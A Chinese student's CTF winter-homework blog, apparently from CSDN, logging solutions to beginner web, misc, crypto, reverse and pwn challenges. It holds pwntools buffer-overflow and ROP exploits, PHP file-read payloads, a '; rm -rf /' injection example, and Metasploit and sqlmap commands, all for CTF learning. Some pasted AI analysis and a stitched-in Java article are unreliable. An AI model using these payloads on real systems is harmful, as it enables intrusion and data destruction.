假期作业(寒假)

2024.1.8

Web 本地管理员:

盲猜用户名为admin,密码123456,结果为又看源代码直接放入随波逐流又尝试一次直接抓包,然后看别人的,说要伪造ip地址为本地。

伪造 IP 地址是一种操纵网络通信的方式,它利用了数据包头部的设计漏洞。数据包在传输时携带源和目标 IP 地址,用于标识通信的发送者和接收者。攻击者可以通过手动构造数据包、使用特定工具或滥用网络协议的弱点来插入虚假的 IP 地址。

以下是一些常见的 IP 地址伪造技术和原理:

数据包构造: 在发送网络数据包时,可以手动构造数据包头部,将欺骗性的 IP 地址插入其中。这通常需要一定的网络知识和技能,因为数据包的头部需要正确的格式和字段。

源路由选项: 某些网络协议(如 IPv4 中的源路由选项)允许发送者指定数据包的传输路径。攻击者可以在数据包中设置虚假的源路由,导致数据包伪装成来自不同的 IP 地址。

IP 地址欺骗工具: 有一些工具可以帮助攻击者轻松地创建伪造的 IP 数据包,例如 Scapy、hping 等。这些工具可以自定义数据包的各个字段,包括源 IP 地址。

反射放大攻击: 攻击者可以通过发送虚假的请求,将数据包的源 IP 地址设置为受害者的 IP 地址。然后,受害者服务器会响应这些请求,将大量的数据传送到受害者,从而实施 DDoS 攻击。

欺骗网络设备: 攻击者可以欺骗网络中的路由器、防火墙等设备,通过伪造的 IP 地址绕过这些设备的安全策略,使其认为数据包是合法的。

IP 地址窃取: 攻击者可以窃取合法的 IP 地址,并将其用于攻击,从而导致受害者被错误地定位。

进行伪造

 放行后发现flag

MiSC 这是一张单纯的图片:

下载附件,打开是一张图片

直接用010打开,末尾发现是html加密直接解密得到flag2

Crypto 聪明的小羊:

根据题目提示直接解密

Reverse 入门逆向:

下载附件查壳发现是32位,用ida打开查资料发现可以按R转字符串,然后得到flag,这里要注意大小写(反正我是踩坑了)

Pwn 瑞士军刀:

直接点开,发现没用用kail打开(注意这里一定要换成桥接模式,这样才能连接到物理主机,不会的话可以搜一下)

重点:这里我们要用到kali中的ncat,简称nc,我个人的理解就是一个工具包:包含端口扫描工具,安全工具,监测工具,甚至可以做为一个简单的tcp代理。

详细的nc解释我们日后会学习到,我们是拿题目熟悉pwn,所以这里我们在输入nc之后同时连接我们刚才的靶场(也就是刚才启动的场景)。

nc 的基本命令行形式是:nc [options] host ports

    options:可选参数,用于配置 nc 的行为。例如,-l 表示监听模式,-p 指定端口等。

    host:目标主机的 IP 地址或域名。

    ports:要连接的目标端口号,可以是单个端口或端口范围(用冒号分隔)。

例如:要在本地主机上监听端口 12345,可以使用以下命令:

nc -l 12345

例如:要连接到远程主机 example.com 的端口 80,可以使用以下命令:

nc example.com 80

然后用linux基本基本语句ls查看目录,在得到flag目录之后选择cat查看文件就可以得到flag

2024.1.9

Web No one knows regex better than me

打开环境,直接傻眼 用kimi分析得到

<?php

error_reporting(0); // 禁止显示错误信息,避免泄露服务器信息

$zero=$_REQUEST['zero']; // 获取用户通过GET或POST方式提交的zero参数

$first=$_REQUEST['first']; // 获取用户通过GET或POST方式提交的first参数

$second=$zero.$first; // 将zero和first参数拼接成一个字符串

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ // 使用正则表达式检查second字符串中是否包含指定的单词,忽略大小写

    $key=$second;

    if(preg_match("/\.\.|flag/",$key)){ // 再次使用正则表达式检查key字符串中是否包含".."或"flag"

        die("Noooood hacker!"); // 如果包含,则终止脚本执行,并显示提示信息

    }else{

        $third=$first;

        if(preg_match("/\\|\056\160\150\x70/i",$third)){ // 检查third字符串中是否包含特定的字符序列,这里使用了多种编码方式表示".php"

            $end=substr($third,5); // 从third字符串的第6个字符开始截取,得到一个子字符串

            highlight_file(base64_decode($zero).$end); // 将zero参数的Base64编码解码后与end拼接,然后显示该文件的内容

            // maybe flag in flag.php // 注释提示,flag可能在flag.php文件中

        }

    }

}

else{

    highlight_file(__FILE__); // 如果second字符串中不包含指定的单词,则显示当前脚本文件的内容

},即 为了获取flag,我们需要深入理解并分析PHP脚本的逻辑。这个脚本处理来自$_REQUEST的输入,并基于这些输入执行不同的操作。让我们逐步分析并找到获取flag的方法。

1. 初始变量赋值

$zero=$_REQUEST['zero'];

$first=$_REQUEST['first'];

$second=$zero.$first;

这里,$zero和$first从$_REQUEST中获取值,并将它们连接起来赋值给$second。

2. 正则匹配检查

if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){

这行代码检查$second中是否包含特定的字符串(不区分大小写)。如果包含,则继续执行后续代码;否则,显示当前文件内容。

3. 防止目录遍历和flag泄露

if(preg_match("/\.\.|flag/",$key)){

    die("Noooood hacker!");

}

这里检查$key(即$second)是否包含..或flag,以防止目录遍历和直接泄露flag。

4. 查找PHP文件并执行

if(preg_match("/\\|\056\160\150\x70/i",$third)){

    $end=substr($third,5);

    highlight_file(base64_decode($zero).$end);//maybe flag in flag.php

}

  • 这段代码检查$third(即$first)是否包含特定的字符串,该字符串代表PHP文件的扩展名(通过八进制和十六进制编码)。
  • 如果匹配,则提取$third从第5个字符开始的部分,并与$zero(base64解码后)拼接,最后使用highlight_file函数显示该文件的内容。

5. 获取flag的步骤

基于以上分析,我们可以总结出获取flag的步骤:

  1. 构造zero和first的值
    • zero需要是一个base64编码的字符串,解码后应该是一个文件路径的一部分。
    • first需要包含一个特定的PHP文件扩展名编码(如\056\160\150\x70代表.php)。
  2. 确保second包含特定字符串
    • second($zero.$first)需要包含Yeedo|wants|a|girl|friend|or|a|flag中的至少一个字符串。
  3. 避免触发安全检查
    • 确保$second(即$key)不包含..或flag。

示例请求

假设flag位于flag.php文件中,且文件位于与当前脚本相同的目录下,我们可以构造如下请求:

  • zero: ZGlyc2VhcmNoLw==(base64编码的dirsearch/)
  • first: Yeedo.php(包含Yeedo和PHP文件扩展名)

GET /script.php?zero=ZGlyc2VhcmNoLw==&first=Yeedo.php HTTP/1.1

Host: example.com

这样,$second将会是dirsearch/Yeedo.php,满足所有条件,并且highlight_file将会显示dirsearch/flag.php的内容(假设Yeedo.php从第5个字符开始是flag.php)

这样有点乱,总结一下 然后发现不会拼接,在学

使用“+”号拼接

     String str1="hello";

     String str2="world";

     System.out.println(str1+str2);

输出:

    helloworld

这里需要注意,当其中一个对象为空时,使用“+”号会把null转换成“null”字符串拼接到一起

    String str1=null;

    String str2="world";

    System.out.println(str1+str2);

输出:

    nullworld

我们知道String对象是不可变的,使用“+”号拼接时都会产生一个新的对象,当要拼接的字符串较多时,这样效率时非常低的。

(二) StringBuilder

StringBuilder的append()方法也是一个字符串拼接的常用方法

    String[] values = {"hello", "_", "world",null};

    StringBuilder result = new StringBuilder();

         for (String value : values){

              result=result.append(value);

            }

    System.out.println(result);

输出:

    hello_worldnull

(三)StringBuffer

StringBuffer的append()方法和StringBuilder的append()是类似的,区别在于StringBuffer是线程安全的,StringBuilder是非线程安全的。

(四) String的join方法

    String str1="hello";

    String str2="world";

    String str3=null;

    //以“_”拼接

    String str4=String.join("_",str1,str2,str3);

    System.out.println(str4);

输出:

    hello_world_null

2022年5月24日随手记,明天见qaq!

————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

                       

原文链接:字符串的常用拼接方法_拼接字符串-CSDN博客

拼接得:zero=ZmxhZw==&first=aaaa|.php

得到flag MISC   linux

根据题目提示,直接使用虚拟机,结果发现不会把文件发送到虚拟机,直接学

在Windows上将文件发送到虚拟机

在Windows操作系统上,将文件发送到虚拟机通常可以通过几种不同的方法实现,具体取决于您使用的虚拟机软件(如VMware、VirtualBox、Hyper-V等)以及您的网络配置。以下是一些常用的方法:

1. 使用共享文件夹

大多数虚拟机软件都支持在主机(Windows)和虚拟机之间设置共享文件夹。这种方法简单且直接,不需要通过网络传输文件。

在VirtualBox中设置共享文件夹

  1. 启动VirtualBox:打开VirtualBox管理器。
  2. 选择虚拟机:在左侧列表中选择您的虚拟机。
  3. 打开设置:点击上方的“设置”按钮。
  4. 配置共享文件夹:
    • 在左侧菜单中选择“共享文件夹”。
    • 点击右侧的“添加共享文件夹”图标(带加号的小文件夹)。
    • 在弹出的窗口中,选择您想要共享的文件夹路径,并为其指定一个名称。
    • 选择“自动挂载”和“只读”或“读写”访问权限。
    • 点击“确定”保存设置。
  5. 启动虚拟机:现在启动您的虚拟机,并登录到操作系统。
  6. 访问共享文件夹:
    • 在Linux虚拟机中,您可能需要安装VirtualBox Guest Additions才能访问共享文件夹。通常,这可以通过虚拟机内的“设备”菜单找到并安装。
    • 安装后,共享文件夹将出现在/media/<用户名>或/mnt目录下,具体取决于您的Linux发行版和VirtualBox配置。

在VMware中设置共享文件夹

  1. 启动VMware Workstation/Fusion:打开VMware软件。
  2. 选择虚拟机:在左侧列表中选择您的虚拟机。
  3. 打开设置:点击上方的“编辑虚拟机设置”按钮。
  4. 配置共享文件夹:
    • 在左侧菜单中选择“选项”。
    • 点击“共享文件夹”。
    • 点击右侧的“添加”按钮。
    • 在弹出的窗口中,选择您想要共享的文件夹路径,并为其指定一个名称。
    • 勾选“启用此共享”和“在Windows客户机中映射为网络驱动器”。
    • 点击“确定”保存设置。
  5. 启动虚拟机:现在启动您的虚拟机,并登录到操作系统。
  6. 访问共享文件夹:
    • 在Windows虚拟机中,共享文件夹将自动映射为网络驱动器,您可以在文件资源管理器中访问它。
    • 在Linux虚拟机中,您可能需要手动挂载共享文件夹。这通常可以通过在终端中使用mount -t cifs命令来实现,具体命令取决于您的网络配置和共享文件夹设置。

2. 使用网络传输

如果您的虚拟机可以访问互联网,您还可以使用网络传输工具(如SCP、SFTP、FTP、HTTP等)将文件从Windows主机发送到虚拟机。

使用SCP或SFTP

您可以使用PuTTY的pscp工具或WinSCP等第三方软件来通过SCP或SFTP协议传输文件。

  • pscp:在命令提示符下使用pscp命令将文件从Windows发送到虚拟机。
  • WinSCP:一个图形化SFTP客户端,允许您通过拖放操作传输文件。

使用FTP

如果您的虚拟机运行了FTP服务器,您可以使用Windows的文件资源管理器或第三方FTP客户端(如FileZilla)来连接到FTP服务器并上传文件。

使用HTTP

如果您有一个Web服务器运行在虚拟机上,并且您可以从Windows主机访问它,您还可以通过HTTP POST请求将文件上传到Web服务器。这通常需要使用表单上传功能或API端点。

3. 使用云存储服务

如果您的虚拟机可以访问互联网,并且您不介意将文件上传到云存储服务(如OneDrive、Google Drive、Dropbox等),那么这也是一种可行的文件传输方法。只需将文件上传到云存储服务,然后在虚拟机中下载即可。

这里可以学一下kail的用法:

-z:用Gzip压缩或解压。
-x:解压文件。
-v:显示详细的输出。
-f:后面接的是要操作的文件。

如何解压得到flag

Crypto  散乱的密文

根据题目意思,直接排序得到flag

Reverse   mobile2(gctf)

解压得到 打开后

网上搜了一下:

解释页面渲染错误

当您在浏览器中查看一个页面时,如果页面没有正确渲染,并且出现了类似“error on line 1 at column 1: Start tag expected, '<' not found”和“error on line 1 at column 1: Encoding error”的错误信息,这通常意味着浏览器在尝试解析HTML文档时遇到了问题。下面是对这两个错误的详细解释:

1. Start tag expected, '<' not found

这个错误表明浏览器在文档的第一行第一列期待找到一个HTML标签(通常是一个开始标签,如<html>、<head>或<body>),但却没有找到。这通常发生在以下几种情况:

  • 文件类型错误:您可能尝试在浏览器中打开一个非HTML文件,比如一个Python脚本、文本文件或其他类型的文档。
  • 文件损坏:HTML文件可能在传输或保存过程中被损坏,导致第一行被删除或修改。
  • 服务器配置错误:服务器可能错误地将非HTML文件作为HTML文件发送给浏览器。

2. Encoding error

这个错误与文件的编码有关。HTML文档应该声明其使用的字符编码,以便浏览器能够正确解析和显示文档中的文本。如果在文档的第一行没有找到编码声明(如<meta charset="UTF-8">),或者声明的编码与文件实际使用的编码不匹配,就可能出现编码错误。

然而,在您提供的错误信息中,编码错误可能更多地是由于浏览器期望一个HTML文档但却收到了一个非HTML文件所导致的。浏览器在尝试解析非HTML内容作为HTML时,可能会因为无法识别文件的编码而报告编码错误。

解决方案

  • 确保文件类型正确:如果您在浏览器中打开的是一个非HTML文件,请改用适当的文本编辑器或IDE来查看和编辑该文件。
  • 检查HTML文档的编码声明:如果您正在处理HTML文档,请确保在文档的<head>部分包含了正确的字符编码声明。
  • 检查服务器配置:如果您是网站管理员,请检查服务器的配置,确保它正确地发送了HTML文件,并且文件的MIME类型设置正确。
  • 用VS Code打开不行,直接无语

发现用记事本打开有跟flag相似的

Pwn  overflow:(只是照着wp做的,还没有理解)

下载附件后,先看壳。发现是64位

使用ida打开题目后,发现有明显的后门函数get_shell,地址为0x400751.

exp如下:

from pwn import *

#remot函数

io=remote('114.67.246.176',19777)

io.recvuntil('')

addr=0x400751

#溢出点为56,构造payload

payload=56*'A'+p64(addr)

io.send(payload)

io.interactive()

得到flag

2024.1.10

Web  eval:

打开环境

分析程序:

  • 包含flag文件:通过include "flag.php";语句,将flag.php文件包含进来。flag.php文件很可能包含了重要的flag(标记)信息,这是CTF(Capture The Flag)挑战中常见的目标。
  • 获取用户输入并执行:使用$a = @$_REQUEST['hello'];获取用户通过hello参数提交的输入。@符号用于抑制错误提示,即使hello参数不存在也不会报错,而是将$a赋值为空。
  • 执行用户输入:通过eval( "var_dump($a);");语句,将用户输入的$a作为代码执行。eval()函数会将字符串作为PHP代码来执行,这是极其危险的操作,因为用户可以提交任意的PHP代码来执行。
  • 显示源代码:show_source(__FILE__);语句用于显示当前文件的源代码,让用户可以看到这段PHP代码本身。
  • 题目叫evaluate,先查一下eval的用法:在PHP中,eval() 函数用于把字符串作为PHP代码执行。它是一个非常强大的函数,但同时也存在很高的安全风险,因为它可以执行任何传递给它的PHP代码。因此,在使用 eval() 时需要格外小心,确保传入的字符串是可信的,以避免潜在的安全漏洞。

根据题目,先搜一下eval的用法:

  • 1. 基本用法
  • PHP
  • <?php
  • $string = "echo 'Hello, World!';";
  • eval($string);
  • ?>
  • 在这个例子中,eval() 函数接收一个字符串 $string,并将其作为PHP代码执行。输出将是 "Hello, World!"。
  • 2. 动态代码执行
  • eval() 常用于需要动态执行PHP代码的场景。例如,根据用户输入或配置文件生成代码并执行。
  • PHP
  • <?php
  • $code = "for (\$i = 0; \$i < 10; \$i++) { echo \$i . \"\\n\"; }";
  • eval($code);
  • ?>
  • 这段代码将输出从0到9的数字,每个数字占一行。
  • 3. 安全风险
  • 由于 eval() 可以执行任何PHP代码,因此它很容易成为安全攻击的目标。如果攻击者能够控制传递给 eval() 的字符串,他们就可以执行任意PHP代码,从而完全控制服务器。
  • 为了避免这种风险,请遵循以下最佳实践:
  • 避免使用 eval():在可能的情况下,尽量避免使用 eval()。可以通过重构代码或使用其他设计模式来实现相同的功能。
  • 验证输入:如果必须使用 eval(),请确保传入的字符串是可信的。可以通过白名单验证、输入过滤和转义来降低风险。
  • 使用沙盒:如果必须执行不受信任的PHP代码,可以考虑使用沙盒环境来限制代码的执行权限
  • Eval,var_dump,echo的区别
  • var_dump()会将传入的变量打印到页面(变量类型,变量长度和变量值)
  • eval()会执行传入到其中的php代码
  • echo输出的是最终的结果(变量类型和字符串)

分析可得:

eval("var_dump($a);")就是把$a的内容打印出来

$a= @$_REQUEST['hello']

Request:使用 Request 对象访问任何基于 HTTP 请求传递的所有信息

可以看出request是要请求得到hello的信息,及a=的是hello的信息,而不是hello本身

由第一行我们可以知道,flag是在文件”flag.php”中的

用hello=flag.php

发现不是flag,再试一次,结果不对后来发现要flag.php,不是flagphp发现数字变了,但还是没用,去网上看见别人说因为是文件用file,再试一次

原因: 使用“file”协议(不是Web查询)

在本地文件系统中,可以使用“file”协议来直接访问文件。例如,在浏览器的地址栏中输入file:///C:/Users/Username/Documents/file.txt可以直接打开本地计算机上的file.txt文件。然而,这种方式并不是在Web服务器上查询文件的标准方法,它主要用于本地文件访问。

Flag就出来了

MISC 富强民主:

根据题目意思直接放入随波逐流解密

Crypto   把猪困在猪圈里:

下载附件,根据题目意思,一打开网站,天塌了,跟附件一点关系都没有在去观察附件 有字母,有加号,base64,直接解密,天又塌了直接考虑base64转图片对照猪圈密码得到flag{thisispigpassword}

Reverse  Easy_Re:

下载附件,先查壳 发现是32位,用ida打开,查看反编译点击xmmwd发现奇怪字符串将其转换位字符串,flag就出现了我还发现可以直接放入随波逐流,直接得到flag

pwn  overflow2:

先查壳,发现是64位用ida打开,查看反编译main函数如下 :

很明显read可读入数据过大 并且buf距离Rbp有0x20个字节的距离 因此有溢出点

先学一下溢出:

1. 缓冲区溢出(Buffer Overflow)

缓冲区溢出是一种常见的安全漏洞,当程序试图将过多的数据写入固定大小的缓冲区时就会发生。如果溢出的数据覆盖了相邻的内存区域,比如函数返回地址或栈帧指针,攻击者就可以利用这个漏洞来执行任意代码。

在 shell 环境中,缓冲区溢出可能发生在处理用户输入时,特别是当输入超出了预期的长度时。例如,如果 shell 没有正确检查命令行参数的长度,攻击者可能会构造一个特别长的参数来触发缓冲区溢出。

2. Shellshock(Bashdoor)

Shellshock 是一种影响 Bash(Bourne Again SHell)的远程代码执行漏洞。攻击者可以通过构造恶意的环境变量来触发这个漏洞,从而导致 Bash 执行任意代码。这个漏洞在 2014 年被公开,并引起了广泛的关注,因为它允许攻击者通过受影响的服务(如 web 服务器)获得对系统的完全控制。

3. 命令注入(Command Injection)

命令注入是一种攻击技术,攻击者通过向应用程序输入恶意数据来执行未经授权的命令。在 shell 环境中,如果应用程序没有正确地清理或转义用户输入,攻击者可能会注入恶意 shell 命令。

例如,如果一个 web 应用程序使用 shell 命令来执行用户提供的输入,而没有进行适当的验证或清理,攻击者可能会输入 ; rm -rf / 来删除整个文件系统。

4. 权限提升(Privilege Escalation)

在某些情况下,攻击者可能会利用 shell 中的漏洞来提升他们在系统上的权限。这通常涉及到利用低权限进程中的漏洞来执行高权限操作。

shift + F12 发现有 bin/sh 字符串

并且有system函数

在学一下pwn里的system:

在网络安全和黑客技术中,"pwn" 指的是利用软件漏洞来获得未授权的访问或控制权。当谈论到 "pwn 里的 system" 时,我们通常指的是在成功渗透或攻陷一个系统后,利用漏洞执行系统级命令或函数的能力。

在编程和操作系统上下文中,system 是一个函数调用,它允许程序执行一个外部命令或程序。在 C 语言中,system 函数定义在 <stdlib.h> 头文件中,其原型通常如下:

cint system(const char *command);

这里,command 是一个指向以 null 结尾的字符串的指针,该字符串包含了要执行的命令。system 函数会启动一个子 shell 来执行该命令,并等待命令执行完成。执行结果(即命令的退出状态)将作为 system 函数的返回值返回。

在 "pwn" 的上下文中,如果攻击者能够利用软件漏洞执行任意代码,他们可能会尝试调用 system 函数来执行高权限命令,如提升权限、读取敏感文件、添加用户账户等。这种攻击方式非常危险,因为它允许攻击者完全控制受影响的系统。

为了防御这种攻击,开发人员和系统管理员需要采取一系列安全措施,包括:

  1. 输入验证和清理:确保所有用户输入都经过适当的验证和清理,以防止命令注入攻击。
  2. 最小权限原则:运行应用程序时使用最低必要的权限,以减少潜在损害的范围。
  3. 安全编程实践:避免使用不安全的函数,如 system,特别是在处理不受信任的输入时。
  4. 漏洞管理和修复:定期更新系统和应用程序,以修复已知的安全漏洞。
  5. 监控和日志记录:实施监控和日志记录机制,以便及时发现和响应可疑活动。

又因为是64位程序 第一个参数是放在 rdi 寄存器里面

于是利用ROPgadget工具寻找可用指令

如图

在学一下如何构造payload:

在 "pwn"(即利用软件漏洞进行攻击)的过程中,构造有效的 payload 是一个关键步骤。Payload 指的是被注入到漏洞中以执行特定操作的代码或数据。构造 payload 的目标通常是触发漏洞并利用它来达到攻击者的目的,如执行任意代码、获取系统权限、泄露敏感信息等。

构造 payload 的过程通常涉及以下几个步骤:

1. 分析漏洞

首先,需要对目标系统或应用程序的漏洞进行深入分析。这包括了解漏洞的类型(如缓冲区溢出、格式化字符串漏洞、逻辑错误等)、触发条件以及漏洞可能导致的后果。

2. 确定目标

明确攻击的目标是什么。这可能包括执行特定的系统命令、提升权限、泄露数据等。目标的确定将指导 payload 的设计和构造。

3. 选择合适的攻击向量

根据漏洞的类型和目标,选择合适的攻击向量。攻击向量是指攻击者利用漏洞的具体方式,如通过网络请求、文件上传、内存损坏等。

4. 构造 payload

构造 payload 是核心步骤。这通常涉及编写特定的代码或数据,以便在漏洞被触发时执行预期的操作。对于缓冲区溢出等内存损坏漏洞,payload 可能包括 shellcode(用于执行系统命令的机器码)和必要的填充数据(用于覆盖返回地址并指向 shellcode)。

在构造 payload 时,需要注意以下几点:

  • 编码和逃避:如果目标系统对输入进行了编码或转义处理,payload 可能需要进行相应的编码或逃避以绕过这些限制。
  • 大小限制:某些漏洞对可注入的数据量有限制。因此,payload 的大小需要控制在可接受的范围内。
  • 稳定性和可靠性:payload 需要稳定且可靠地触发漏洞并达到预期的效果。

5. 测试和验证

在构造完成后,需要对 payload 进行测试和验证。这通常涉及在目标系统或类似的测试环境中运行 payload,并观察其行为和效果。如果 payload 无法触发漏洞或达到预期的效果,可能需要进行调整和优化。

6. 部署和利用

一旦 payload 被验证为有效,攻击者可能会将其部署到目标系统并利用漏洞。然而,需要强调的是,未经授权的攻击是非法的,并且可能导致严重的法律后果。因此,这些步骤应该仅在合法和道德的框架内进行,如安全研究、漏洞挖掘和漏洞响应等。

总之,构造 payload 是一个复杂而细致的过程,需要深厚的安全知识和编程技能。对于非专业人士来说,尝试构造和利用 payload 是非常危险的,并且可能导致不可预测的后果。

于是构造payload =

b"a"*(0x20+8) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr

最终的exp如下 :

于是get shell了

2024.1.11

Web  source:

打开网站,发现什么都没有 查看源代码,发现flag白高兴,是电信诈骗那就直接用dirsearch扫描 又发现了flag,又是一次,结果是二次电信诈骗观察扫描结果,发现git漏洞先学一下git漏洞:

Git作为一款广泛使用的版本控制系统,也面临着各种安全漏洞的威胁。这些漏洞可能存在于Git客户端、服务器或相关工具中,如果被恶意利用,可能会导致敏感信息泄露、代码篡改或其他安全问题。以下是一些常见的Git漏洞类型及防范措施:

1. .git目录泄露

漏洞描述: 当Web服务器的配置不当,将.git目录直接暴露给公众时,攻击者可以下载该目录中的文件,进而恢复出仓库中的所有代码和提交历史。这可能导致敏感信息泄露,如源代码、配置文件、密码等。

防范措施:

  • 确保.git目录不在Web服务器的根目录下,或配置Web服务器禁止访问.git目录。
  • 使用工具如GitGuardian、GitLeaks等定期扫描代码库,检测潜在的.git泄露风险。

2. 钩子脚本漏洞

漏洞描述: Git钩子(Hooks)是Git在特定事件(如提交、合并等)发生时自动执行的脚本。如果钩子脚本存在安全漏洞或配置不当,攻击者可能利用这些脚本执行恶意代码。

防范措施:

  • 审查并限制钩子脚本的权限,确保它们只能执行预期的操作。
  • 避免在钩子脚本中包含敏感信息,如密码、API密钥等。

3. 子模块漏洞

漏洞描述: Git子模块允许将一个Git仓库作为另一个Git仓库的子目录。如果子模块的配置不当或包含恶意代码,攻击者可能利用子模块执行恶意操作。

防范措施:

  • 定期检查子模块的配置和依赖关系,确保它们来自可信的来源。
  • 在克隆包含子模块的仓库时,使用--recurse-submodules选项以确保子模块也被正确克隆和更新。

4. Git客户端漏洞

漏洞描述: Git客户端软件本身也可能存在安全漏洞。这些漏洞可能被攻击者利用来执行任意代码、窃取敏感信息等。

防范措施:

  • 定期更新Git客户端到最新版本,以获取最新的安全补丁和功能改进。
  • 避免使用来路不明的Git客户端或插件。

5. Git服务器漏洞

漏洞描述: Git服务器(如GitLab、GitHub等)也可能存在安全漏洞。这些漏洞可能影响服务器的稳定性和安全性,导致数据泄露、服务中断等问题。

防范措施:

  • 定期更新Git服务器到最新版本,并应用所有可用的安全补丁。
  • 配置强密码策略、双因素认证等安全措施,以增强服务器的安全性。
  • 下载git目录后
  • 查看历史flag,这里需要知道:
  • 我们可以通过使用git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。
  • 这里需要学习一下如何Kali用工具利用下载并利用漏洞:
  • 在Kali Linux中使用工具利用漏洞
  • 在Kali Linux中,你可以使用多种工具来扫描、发现和利用漏洞。以下是一些常用工具及其使用方法,帮助你利用下载并发现的漏洞:
  • 1. Metasploit Framework
  • Metasploit是一个开源的渗透测试框架,提供了大量的漏洞利用模块和工具。以下是如何使用Metasploit来利用漏洞的步骤:
  • 安装Metasploit
  • Metasploit通常已经预装在Kali Linux中。如果没有,你可以通过以下命令安装:
  • Bash
  • sudo apt-get update
  • sudo apt-get install metasploit-framework
  • 启动Metasploit
  • bash
  • msfconsole
  • 搜索和利用漏洞
  • 搜索漏洞模块:
  • 使用search命令搜索特定的漏洞模块,例如搜索MS08-067漏洞:
  • Bash
  • search ms08_067
  • 使用漏洞模块:
  • 选择并加载一个漏洞模块,例如:
  • Bash
  • use exploit/windows/smb/ms08_067_netapi
  • 配置模块参数:
  • 使用set命令配置模块参数,例如设置目标主机IP地址:
  • bash
  • set RHOST 192.168.1.100
  • 运行漏洞利用:
  • 使用run或exploit命令运行漏洞利用:
  • Bas
  • run
  • 2. Burp Suite
  • Burp Suite是一款集成的Web应用渗透测试工具,可以帮助你发现和利用Web应用中的漏洞。
  • 安装Burp Suite
  • 你可以从Burp Suite的官方网站下载并安装它。在Kali Linux中,你也可以通过APT安装:
  • bash
  • sudo apt-get update
  • sudo apt-get install burpsuite
  • 使用Burp Suite
  • 启动Burp Suite:在Kali Linux中启动Burp Suite。
  • 配置代理:将你的浏览器配置为通过Burp Suite的代理进行通信。
  • 拦截和修改请求:使用Burp Suite的拦截功能拦截和修改HTTP请求,以测试漏洞。
  • 扫描和发现漏洞:使用Burp Suite的扫描功能对目标Web应用进行扫描,以发现和利用漏洞。
  • 3. SQLMap
  • SQLMap是一款自动化的SQL注入检测和利用工具。
  • 安装SQLMap
  • Bash
  • sudo apt-get update
  • sudo apt-get install sqlmap
  • 使用SQLMap
  • 检测SQL注入:
  • 使用以下命令检测目标URL是否存在SQL注入漏洞:
  • bash

sqlmap -u "http://example.com/vulnerable_page.php?id=1"

  • 利用SQL注入:
  • 如果发现SQL注入漏洞,你可以使用SQLMap来执行数据库查询、获取数据、甚至获取系统权限。例如,获取当前数据库名称:
  • bash

sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs

  • 4. Nessus
  • Nessus是一个强大的漏洞扫描工具,可以帮助你发现网络中的安全漏洞。
  • 安装Nessus
  • bash

sudo dpkg -i Nessus-x.x.x-debian6_amd64.deb

  • sudo /opt/nessus/sbin/nessuscli fetch --register-offline /path/to/nessus.license
  • sudo service nessusd start
  • 使用Nessus
  • 启动Nessus服务:
  • bash

sudo service nessusd start

  • 访问Nessus Web界面:在浏览器中访问https://localhost:8834,使用默认用户名和密码(通常是nessus)登录。
  • 创建扫描任务:在Nessus Web界面中创建新的扫描任务,并指定目标主机或IP范围。
  • 运行扫描:启动扫描任务,等待扫描完成。
  • 分析扫描结果:扫描完成后,分析扫描结果,查看发现的安全漏洞,并采取相应的修复措施。
  • 5. Struts2 Scan
  • Struts2 Scan是一个专门针对Struts2框架漏洞的扫描工具。
  • 安装Struts2 Scan
  • 你可以从GitHub下载Struts2 Scan,并按照提供的说明进行安装。
  • 使用Struts2 Scan
  • 运行Struts2 Scan:
  • bash

 python3 Struts2Scan.py -u "http://example.com"

  • 分析扫描结果:扫描完成后,查看扫描结果,找出存在的Struts2漏洞,并采取相应的修复措施。
  • 查看历史flag 开始查看,一个一个的看 总结一下

  • MISC Linux2:

  • 下载附件,直接用010打开,搜索关键词KEY,直接出flag

  • Crypto  你以为是md5吗:

  • 根据题目,我们要却md5的密文范围:

  • MD5密文的范围可以通过以下特征来确定:
  • 长度特征
  • 32位:标准的MD5密文长度为32位,是由4个32位的散列值组合而成的128位二进制数,再转换为16进制表示,因此是32位字符长度
  •  
  •   16位:有时会取32位MD5密文的中间16位,即第9位到第25位
  • 字符组成特征
  • MD5密文由数字“0-9”和字母“a-f”组成,字母可以全部是大写或者小写
  • 。如果密文中出现这个范围以外的字符,那么它很可能不是MD5密文
  • 示例
  • 32位小写示例:e10adc3949ba59abbe56e057f20f883e
  • 32位大写示例:E10ADC3949BA59ABBE56E057F20F883E
  • 16位小写示例:49ba59abbe56e057
  • 16位大写示例:49BA59ABBE56E057
  • 观察附件,很明显给定的字符串包含数字和小写字母,但包含了一些不属于“0-9”和“a-f”范围的字符,如“i”和“u”以及“o”。
  • 直接进行解密,得到flag
  • Reverse  Easy_vb:

  • 下载附件,先看壳,是32位,
  • 用ida打开
  • 查看反编译,发现没有,shift+F12搜索,没发现flag点击函数,进行反编译,发现在402310有反应,查看发现有跟flag结构相似的,尝试一下,结果正确。所以flag{_N3t_Rev_1s_E4ay_}
  • Pwn  read_note

  • 打开环境,要先安装Netcat
  • 首先,确保您的系统上安装了Netcat。在大多数Linux发行版上,您可以使用包管理器来安装它。例如,在Debian/Ubuntu上,您可以使用以下命令:
  • Bash
  • sudo apt-get update
  • sudo apt-get install netcat
  • 然后无语了,输入flag,直接给我爆出来
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值